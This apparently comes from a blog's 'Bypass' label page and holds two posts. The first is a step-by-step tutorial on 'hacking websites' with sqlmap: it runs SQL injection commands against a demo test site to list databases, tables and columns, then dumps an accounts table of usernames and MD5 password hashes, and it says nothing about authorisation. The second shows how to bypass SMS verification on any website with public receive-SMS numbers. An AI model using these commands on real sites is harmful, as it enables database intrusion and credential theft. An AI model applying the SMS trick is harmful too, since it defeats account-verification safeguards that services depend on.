Showing posts with label Bypass. Show all posts
Showing posts with label Bypass. Show all posts

Thursday, 7 April 2016

How to hack website using sqlmap in Windows and in Linux

As'Salamu Aleykum

You might have questions below

How to hack website using sqlmap in Windows and in Linux?
How to hack website using sqlmap?
How to hack website using sqlmap in kali linux?
How to hack website using sqlmap in linux?
How to hack website using sqlmap in Windows?

THIS TUTORIAL IS THE ANSWER OF ALL THE QUESTIONS ABOVE!
 
So, Today I will be teaching you How to hack website using Sqlmap in Windows and in Linux(Any Distro)
First of all you should have installed Python in Windows to run Sqlmap in windows
For Linux users you should also have python and Sqlmap installed(It is in-build in Kali Linux and Other Distro which is used by Security Researchers )

 [Step 1. Getting Database Details]

sqlmap -u http://webscantest.com/datastore/search_get_by_id.php?id=4 --dbs (Linux)
sqlmap.py -u http://webscantest.com/datastore/search_get_by_id.php?id=4 --dbs (Windows)

Result :

Web server operating system: Linux Ubuntu
Web application technology: Apache 2.4.7, PHP 5.5.9
Back-end DBMS: MySQL 5.0

available databases [2]:
[*] information_schema
[*] webscantest


[Step 2. Finding Tables in Database]

sqlmap -u http://webscantest.com/datastore/search_get_by_id.php?id=4 -D webscantest --tables (Linux)
sqlmap.py -u http://webscantest.com/datastore/search_get_by_id.php?id=4 -D webscantest --tables (Windows)

Result :

Database: webscantest
[4 tables]
+-----------+
| accounts  |
| inventory |
| orders    |
| products  |
+-----------+


[Step 3. Getting Columns from the Desired Table]

sqlmap -u http://webscantest.com/datastore/search_get_by_id.php?id=4 -D webscantest -T accounts --columns (Linux)
sqlmap.py -u http://webscantest.com/datastore/search_get_by_id.php?id=4 -D webscantest -T accounts --columns (Windows)

Result :

Table: accounts
[5 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| fname  | varchar(50)  |
| id     | int(50)      |
| lname  | varchar(100) |
| passwd | varchar(100) |
| uname  | varchar(50)  |
+--------+--------------+


[Step 4. Dumping Data from columns]

sqlmap -u http://webscantest.com/datastore/search_get_by_id.php?id=4 --dump -D webscantest -T accounts (Linux)
sqlmap.py -u http://webscantest.com/datastore/search_get_by_id.php?id=4 --dump -D webscantest -T accounts (Windows)

Result

+----+-------+-------+----------+----------------------------------+
| id | fname | lname | uname    | passwd                           |
+----+-------+-------+----------+----------------------------------+
| 1  | Admin | King  | admin    | 21232f297a57a5a743894a0e4a801fc3 |
| 2  | Test  | User  | testuser | 179ad45c6ce2cb97cf1029e212046e81 |
+----+-------+-------+----------+----------------------------------+

You can Watch Video tutorial Below :

 Please Comment below if you have any problem

Sunday, 20 September 2015

Bypass Sms Verification [2015] [Updated]

Bypass Phone and SMS verification of Any Website [2015] [Updated]


Steps :

1) First go to this Website : Receive-Sms Online

2) Copy any one number and paste it where they are asking SMS Verification.
3) Simply come back and click the number which you have selected, check it out there is your code sent by google, youtube or whatever else.